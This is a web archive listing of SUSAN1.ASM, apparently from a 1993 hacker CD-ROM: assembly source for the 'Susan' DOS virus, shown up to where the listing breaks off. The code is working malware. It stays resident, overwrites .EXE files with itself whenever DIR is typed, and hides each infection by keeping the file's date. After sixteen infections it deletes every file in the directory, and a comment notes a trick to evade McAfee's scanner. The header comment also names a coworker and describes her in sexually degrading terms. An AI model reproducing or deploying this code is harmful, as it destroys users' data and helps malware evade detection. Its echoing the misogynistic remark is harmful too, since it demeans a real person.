home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / SUSAN1.ASM < prev    next >
Assembly Source File  |  1993-02-23  |  12KB  |  389 lines

  1. Susan virus: included in Crypt Newsletter 13
  2.  
  3. COMMENT *
  4.  
  5.      Susan Virus, Strain A
  6.      Written by NB
  7.  
  8.      This program needs to be assembled with Turbo Assembler.
  9.      Special thanks go to Richard S. Sadowsky of TurboPower Software
  10.      for the help on using INT 2F with those majick functions!
  11.  
  12.      This is an example of an interesting technique for writing a virus
  13.      that is terminate-and-stay-resident.
  14.  
  15.      Description:
  16.  
  17.         Susan is a file overwrite virus.  Named for a woman in my department
  18.         who is overly concerned about virii, but has no idea about what the
  19.         fuck they actually are.  She also has real nice tits.  This is a TSR
  20.         that only infects .EXE files.  Each time the user types "DIR", the
  21.         first .EXE file found is infected.  After 15 such infections, then
  22.         each time DIR is typed, all files are erased in that directory.
  23.  
  24.         Infected .EXEs are destroyed and will not run.  Attempts to run them
  25.         will display the message "Bad command or file name" message.
  26.  
  27.      Interesting Features:
  28.  
  29.          - File size and date-stamp of infected file is maintained.
  30.  
  31.          - Uses Vienna Virus technique of using the file time to determine
  32.            if a target file is infected.
  33.  
  34.          - Infects and zaps everytime the user types a plain DIR command.
  35.  
  36.          - Hooks INT 2F for handling the DIR command.
  37.  
  38.          - Hooks INT 2F AX=010F (PRINT.COM int) to determine if the virus in
  39.            installed in memory.
  40.  
  41.          - Writes the bug directly from memory.
  42. *
  43.  
  44. .model small
  45. .code
  46.  
  47. LOCALS @@
  48.  
  49. ORG             100h                   ; for COM file
  50.  
  51. DTA     STRUC                     ; used for file searching
  52.         dtaReserved db 21 dup (0)
  53.         dtaAttrib   db 0
  54.         dtaTime     dw 0
  55.         dtaDate     dw 0
  56.         dtaSize     dd 0
  57.         dtaName     db 13 dup (0)
  58. DTA     ENDS
  59.  
  60. DPL     STRUC                      ; DOS Parameter List used for undoc funcs
  61.         dplAX   DW      0
  62.         dplBX   DW      0
  63.         dplCX   DW      0
  64.         dplDX   DW      0
  65.         dplSI   DW      0
  66.         dplDI   DW      0
  67.         dplDS   DW      0
  68.         dplES   DW      0
  69.         dplCID  DW      0     ; computer ID (0 = current system)
  70.         dplPID  DW      0     ; process ID (PSP on specified computer)
  71. DPL     ENDS
  72.  
  73. Pointer STRUC                      ; nice structure for a pointer type
  74.         Ofst    DW      0
  75.         Segm    DW      0
  76. Pointer ENDS
  77.  
  78. Start:
  79.         JMP     Initialize
  80.  
  81. OurCommandLen   EQU     3
  82. PathOfs         EQU     80h   ; Use command tail of PSP as path buffer
  83. FuckMeNow       EQU     16
  84.  
  85. virSig          dw      'uS'  ; Don't delete this line...
  86. virName         db      'san' ;      ...this is the Susan Virus!
  87. EofMarker       db      26
  88. OldInt2F        Pointer <>
  89. FNameLen        db      3
  90. FileName        db      '*.*', 0
  91. DeleteDPL       DPL     <>
  92. FuckCount       db      0
  93. SaveDTA         Pointer <>
  94. TargetMask      db      '*.EXE', 0
  95. Victim          DTA     <>
  96. OurCmd          db      'DIR', 0Dh
  97.  
  98. IsInfected:
  99.         ; This will detect if the .exe is already infected.  We are using
  100.         ; a nifty technique pulled from the Vienna Virus.  If the file's
  101.         ; seconds is 62, then that file is infected.
  102.         MOV     AX, Victim.dtaTime
  103.         AND     AX, 1Fh
  104.         CMP     AX, 1Fh  ; >60 seconds
  105.         ; JZ  infected
  106.         ; JNZ not infected
  107.         RET
  108.  
  109. SearchExec:
  110.         ; Returns AX = 1 if a uninfected file found
  111.         XOR     CX,CX                 ; Search for an .EXE file
  112.         MOV     DX,OFFSET TargetMask  ; DS has seg
  113.         MOV     AH, 4Eh
  114.         INT     21h
  115.         JC      @@AlreadyInfected     ; No .exes in this directory
  116.  
  117.         CALL    IsInfected            ; Is this file infected?
  118.         JNZ     @@NotInfectedYET
  119.  
  120.         ; Need to look for next file (maybe next version, haha)
  121.  
  122. @@AlreadyInfected:
  123.         XOR     AX, AX     ; Zeros out AX 
  124.         RET
  125. @@NotInfectedYET:
  126.         MOV     AX, 1      ; Return a <> Zero indicator: Boolean
  127.         RET
  128.  
  129. CopySelf:
  130.         MOV     DX, OFFSET Victim.dtaName  ; Open file for read/write
  131.  
  132.         MOV     AX, 4301h
  133.         MOV     CX, 0      ; Clear all attributes to NORMAL
  134.         INT     21h
  135.  
  136.         MOV     AH, 3Dh    ; Now open up the file... Don't worry now about nets
  137.         MOV     AL, 2      ; read/write access
  138.         int     21h
  139.         MOV     BX, AX
  140.  
  141.         PUSH    CS          ; Write the virus to the start of the open file
  142.         POP     DS
  143.         MOV     DX,OFFSET Start                      ; Start of virus
  144.         MOV     CX,1 + OFFSET EndOBug - OFFSET Start ; total size of virus
  145.         MOV     AH,40h
  146.         NOP                ; WOW! this NOP will suppresses McAfees' scan from
  147.         INT     21h        ; thinking this is a VR [FR] virus!
  148.  
  149.         MOV     DX, Victim.dtaDate
  150.         MOV     CX, Victim.dtaTime   ; We gotta fix up the file's datestamp
  151.         MOV     AX, 5701h
  152.         OR      CX, 001Fh            ; And set the time to 62 seconds!
  153.         INT     21h                  ; ala Vienna Virus
  154.  
  155.         MOV     AH, 3Eh              ; Close up the file - we're done
  156.         INT     21h
  157.  
  158.         RET
  159.  
  160. Manipulate:
  161.         PUSH    AX             ; Uh...Save registers?
  162.         PUSH    DX
  163.         PUSH    SI
  164.         PUSH    DI
  165.         PUSH    DS
  166.         PUSH    ES
  167.  
  168.         MOV     SI,CS           ; get Canonical pathname
  169.         MOV     ES,SI
  170.         MOV     DS,SI
  171.  
  172.         CMP     FuckCount, FuckMeNow  ; Do we start the deletes or just infect?
  173.         JL      @@InfectCity
  174.  
  175.         MOV     DI,PathOfs
  176.         MOV     SI,OFFSET FileName   ; Mask to delete
  177.         MOV     AH,60h
  178.         INT     21h
  179.  
  180.         MOV     SI,OFFSET DeleteDPL   ; Build DOS Parameter List
  181.         MOV     [SI].dplAX,4100h
  182.         MOV     AX,CS
  183.         MOV     [SI].dplDS,AX
  184.         MOV     [SI].dplDX,PathOfs
  185.         MOV     [SI].dplES,0
  186.         MOV     [SI].dplCID,0
  187.         MOV     [SI].dplPID,AX
  188.  
  189.         MOV     DS,AX     ; Make DOS Server Function Call
  190.         MOV     DX,SI
  191.         MOV     AX,5D00h
  192.         INT     21h
  193.  
  194. ; Infect more here...
  195. @@InfectCity:
  196.         MOV     AH, 2FH             ; get the current DTA address
  197.         INT     21h
  198.         MOV     AX,ES
  199.         MOV     SaveDTA.Segm, AX    ; Save it
  200.         MOV     SaveDTA.Ofst, BX
  201.  
  202.         MOV     DX, OFFSET victim   ; Set DTA to this glob of memory
  203.         MOV     AH, 1Ah
  204.         INT     21h
  205.  
  206.         CALL    SearchExec
  207.         CMP     AX, 0
  208.         JZ      @@InfectNot
  209.  
  210.         CALL    CopySelf
  211.         INC     FuckCount       ; Track the time until eating files...
  212.  
  213.         PUSH    DS                 ; Restore the DTA
  214.         MOV     AX, SaveDTA.Segm
  215.         MOV     DS, AX
  216.         MOV     DX, SaveDTA.Ofst
  217.         MOV     AH, 1Ah
  218.         INT     21h
  219.         POP     DS
  220.  
  221. ; And return to the way it was...
  222. @@InfectNot:
  223.         POP     ES
  224.         POP     DS
  225.         POP     DI
  226.         POP     SI
  227.         POP     DX
  228.         POP     AX
  229.  
  230. ; If you want the DOS command to not execute, then you just need to uncomment
  231. ; out the next line:
  232.  
  233. ;       MOV     BYTE PTR [SI],0          ; clear out the command string
  234.  
  235.         RET
  236.  
  237. ; convert pascal style string in DS:SI to uppercase
  238. UpperCaseSt:
  239.         PUSH    CX
  240.         PUSH    SI
  241.         XOR     CX,CX
  242.         MOV     CL,BYTE PTR [SI]
  243. @@UpcaseCh:                         ; Oh well, not too hard...
  244.         INC     SI
  245.         CMP     BYTE PTR [SI],'a'
  246.         JB      @@NotLower
  247.         CMP     BYTE PTR [SI],'z'
  248.         JA      @@NotLower
  249.         SUB     BYTE PTR [SI],'a' - 'A'
  250. @@NotLower:
  251.         LOOP    @@UpcaseCh
  252.         POP     SI
  253.         POP     CX
  254.         RET
  255.  
  256. ; zf set if match, zf not set if no match
  257. IsMatch:
  258.         ; NOTE: ds:bx has command line
  259.         ;       ofs 0 has max length of command line
  260.         ;       ofs 1 has count of bytes to follow command line text,
  261.         ;         terminated with 0Dh
  262.         PUSH    CX
  263.         PUSH    SI
  264.         PUSH    DI
  265.         PUSH    ES